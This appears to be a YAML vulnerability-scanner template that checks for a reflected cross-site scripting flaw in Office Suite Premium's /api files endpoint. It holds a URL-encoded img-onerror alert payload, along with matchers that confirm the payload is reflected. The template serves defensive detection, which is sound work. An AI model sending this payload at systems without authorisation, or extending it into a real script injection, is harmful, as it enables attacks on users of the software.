id: office-suite-xss

info:
  name: Office Suite Premium < 10.9.1.42602 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Office Suite is suffering from an XSS vulnerability in the following parameter /api?path=files&id. Attackers often initiate an XSS attack by sending a malicious link to a user and enticing the user to click it.
  reference:
    - https://www.exploitalert.com/view-details.html?id=39632
  metadata:
    verified: true
    max-request: 1
  tags: xss,office,suite,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api?path=files&id=dfsse%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ez1668cyj2pi&revision=%22%22&type=%22thumb%22&command=url&expires=1687785968527"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<img src=a onerror=alert(document.domain)>", "\"payload\":")'
        condition: and
# digest: 4a0a00473045022100e9441e1d5b380d8e370e7a0fc60734eab9dafb3f8e58b1f0ec9990aa8095042f02202150936ac8392a9f74ed72bfe4cd28e9493d66069ce851bdc79297706ec747c5:922c64590222798bb761d5b6d8e72950